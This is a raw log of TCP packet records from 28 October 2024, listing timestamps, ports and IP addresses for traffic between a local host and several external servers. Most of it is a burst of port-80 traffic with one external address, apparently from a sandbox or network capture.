Oct 28, 2024 06:27:17.214693069 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.214732885 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.353662968 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.398758888 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.398776054 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.400881052 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.400990009 CET	443	49754	142.250.186.110	192.168.2.4
Oct 28, 2024 06:27:17.401048899 CET	49754	443	192.168.2.4	142.250.186.110
Oct 28, 2024 06:27:17.861495972 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.861515045 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:17.861542940 CET	49752	443	192.168.2.4	20.109.210.53
Oct 28, 2024 06:27:17.861552954 CET	443	49752	20.109.210.53	192.168.2.4
Oct 28, 2024 06:27:18.502360106 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:18.502532005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:18.726871967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:18.726871967 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:18.732455015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:18.732467890 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:18.732475996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:18.778712988 CET	49737	443	192.168.2.4	142.250.186.100
Oct 28, 2024 06:27:19.516395092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:19.516470909 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:19.542743921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:19.548054934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:19.954670906 CET	49723	80	192.168.2.4	199.232.210.172
Oct 28, 2024 06:27:19.960247040 CET	80	49723	199.232.210.172	192.168.2.4
Oct 28, 2024 06:27:19.960330963 CET	49723	80	192.168.2.4	199.232.210.172
Oct 28, 2024 06:27:20.324034929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:20.324085951 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:20.829982996 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:20.835355043 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:21.607623100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:21.607758999 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:21.859064102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:21.864459991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.143981934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144001961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144026041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144042015 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144058943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144066095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.144074917 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144084930 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.144090891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144135952 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.144151926 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.144622087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144637108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144650936 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144666910 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144682884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.144697905 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.144738913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.145466089 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.147489071 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.301979065 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302023888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302088022 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302103996 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302119017 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302141905 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302185059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.302237034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.302743912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302757025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302803040 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.302850008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.302881002 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302922010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302937984 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.302984953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303028107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.303066015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.303551912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303617954 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303632975 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303649902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303664923 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.303718090 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.303751945 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.304522038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.304537058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.304552078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.304567099 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.304583073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.304588079 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.304611921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.304646015 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.305376053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.305392027 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.305407047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.305447102 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.305479050 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.461349010 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461366892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461381912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461420059 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461435080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461450100 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461455107 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.461476088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461487055 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.461512089 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.461818933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461832047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.461874008 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.461981058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462004900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462019920 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462023020 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462045908 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462070942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462142944 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462157965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462173939 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462201118 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462220907 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462724924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462781906 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462796926 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.462841034 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462857962 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.462924004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463196039 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463231087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463246107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463257074 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463272095 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463298082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463331938 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463376045 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463640928 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463695049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463696957 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463711023 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463738918 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463756084 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463759899 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463771105 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463785887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463808060 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.463810921 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463835001 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.463855982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.464596033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464611053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464626074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464639902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464649916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.464657068 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464670897 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.464673042 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464689970 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.464694023 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.464715958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.464736938 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465337038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465358973 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465374947 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465389013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465392113 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465408087 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465415955 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465435982 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465457916 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465509892 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465526104 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.465555906 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.465576887 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.466186047 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.466209888 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.466226101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.466267109 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.466285944 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.618712902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618769884 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618784904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618799925 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618817091 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.618828058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618844032 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618860960 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.618868113 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618881941 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618896961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618911982 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.618920088 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.618938923 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.618973970 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619256020 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619307995 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619308949 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619329929 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619345903 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619349003 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619370937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619442940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619517088 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619555950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619560957 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619575977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619601011 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619613886 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619625092 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619627953 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619673014 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619879007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619918108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.619961977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619977951 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.619992018 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620018005 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620023012 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620038033 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620039940 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620053053 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620068073 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620081902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620088100 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620098114 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620120049 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620145082 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620663881 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620714903 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620794058 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620809078 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620831966 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620850086 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620851994 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620865107 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620879889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620888948 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620896101 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620903969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620913029 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620919943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620934963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.620950937 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.620951891 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621005058 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.621026993 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.621630907 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621680975 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.621720076 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621733904 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621748924 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621762991 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621773958 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.621778965 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621798038 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621814013 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621826887 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.621846914 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.622004986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.622004986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.622004986 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739111900 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739139080 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739197969 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739212036 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739213943 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739229918 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739245892 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739273071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739288092 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739296913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739304066 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739332914 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739378929 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739492893 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739533901 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739541054 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739551067 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739581108 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739604950 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739660025 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739717960 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739733934 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739774942 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739805937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739808083 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739820004 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739883900 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.739928961 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739953041 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739967108 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.739985943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740020990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740194082 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740207911 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740221977 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740248919 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740256071 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740273952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740291119 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740294933 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740314007 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740328074 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740331888 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740341902 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740355968 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740362883 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740370989 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740386963 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740395069 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740405083 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740420103 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740427017 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740434885 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740454912 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.740458965 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740492105 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.740510941 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.741030931 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741090059 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.741128922 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741143942 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741158009 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741173029 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741179943 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.741188049 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741203070 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741208076 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.741219044 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.741260052 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.741281033 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.777030945 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777129889 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777143955 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777158976 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777174950 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777200937 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777204990 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.777215958 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777230978 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777246952 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777252913 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.777264118 CET	80	49758	185.215.113.206	192.168.2.4
Oct 28, 2024 06:27:22.777277946 CET	49758	80	192.168.2.4	185.215.113.206
Oct 28, 2024 06:27:22.777301073 CET	49758	80	192.168.2.4	185.215.113.206
